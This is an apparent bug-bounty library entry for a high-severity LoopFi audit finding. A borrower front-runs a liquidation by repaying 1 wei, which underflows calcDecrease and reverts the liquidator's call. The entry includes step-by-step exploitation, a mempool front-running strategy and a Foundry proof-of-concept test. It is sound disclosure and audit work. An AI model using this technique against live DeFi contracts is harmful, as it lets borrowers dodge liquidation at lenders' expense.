# Malicious borrower can evade full liquidation in CDPVault::liquidatePosition by repaying small amounts of debt 

Borrower front-runs full-debt liquidation by repaying 1 wei, causing underflow in calcDecrease and reverting the liquidator's transaction.

- Payout: Audit contest
- Severity: high
- Program: LoopFi
- Found by: 0xbepresent
- Disclosed: 2025-02-17
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-07-loopfi-findings/issues/162
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-loopfi%3AH-06
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:race-window vuln:accounting-error vuln:dos vuln:liquidation

**Target:** CDPVault::liquidatePosition / calcDecrease
**Root cause:** calcDecrease computes newDebt = debt - amountToRepay without checking amountToRepay <= debt; a liquidator repaying the pre-front-run virtualDebt exceeds the now-lower debt and underflows.
**Steps:**
1. Position has 80 ether debt and is liquidatable (spot price dropped).
2. Liquidator reads virtualDebt = 80 ether and calls `liquidatePosition(position, 80 ether)`.
3. Borrower front-runs with `modifyCollateralAndDebt(..., 0, -1)` repaying 1 wei, debt becomes 80 ether - 1 wei.
4. Liquidator tx executes, calcDecrease computes `(80 ether - 1 wei) - 80 ether`, underflows, reverts with arithmeticError.
**How found:** Reading liquidatePosition/calcDecrease: liquidator passes an absolute repay amount derived from virtualDebt, but debt can change between read and execution, so subtraction can underflow.
**Exploitation:** Borrower monitors mempool for full-repayment liquidation calls and submits a 1-wei repayment with higher gas to shift debt below the liquidator's fixed repay amount, reverting liquidation and retaining the unhealthy position.
**Escalation:** Judge noted it DoSes all racing liquidators, not just one; for large loans gas cost is negligible versus avoided liquidation.
**Insight:** When a liquidation API takes an absolute repay amount computed off-chain, check whether any state change (even 1 wei) between quote and execution breaks the arithmetic or the full-close invariant; front-runnable debt mutation is a cheap DoS.

## Proof of concept (copied exactly from the original report)

**Foundry test proving front-run repayment causes underflow**

```
function test_liquidate_fullliquidation_panicerror() public {
        CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1 ether, 0.95 ether);
        createGaugeAndSetGauge(address(vault));
        // create position
        _modifyCollateralAndDebt(vault, 110 ether, 80 ether);
        // position is liquidatable
        _updateSpot(0.80 ether);
        //
        // 1. Liquidator calculates the full debt in order to call `CDPVault::liquidatePosition`.
        address position = address(this);
        uint256 liquidatorRepayAmount = virtualDebt(vault, position);
        address liquidator = address(0xb0b);
        createCredit(liquidator, liquidatorRepayAmount);
        //
        // 2. Malicious borrower frontrun liquidator and repays 1 wei
        mockWETH.approve(address(vault), 1);
        vault.modifyCollateralAndDebt(address(this), address(this), address(this), 0, -toInt256(1));
        //
        // 3. Liquidator tx is executed but it will be reverted by `arithmeticError`
        vm.startPrank(liquidator);
        mockWETH.approve(address(vault), liquidatorRepayAmount);
        vm.expectRevert(stdError.arithmeticError);
        vault.liquidatePosition(position, liquidatorRepayAmount);
    }
```

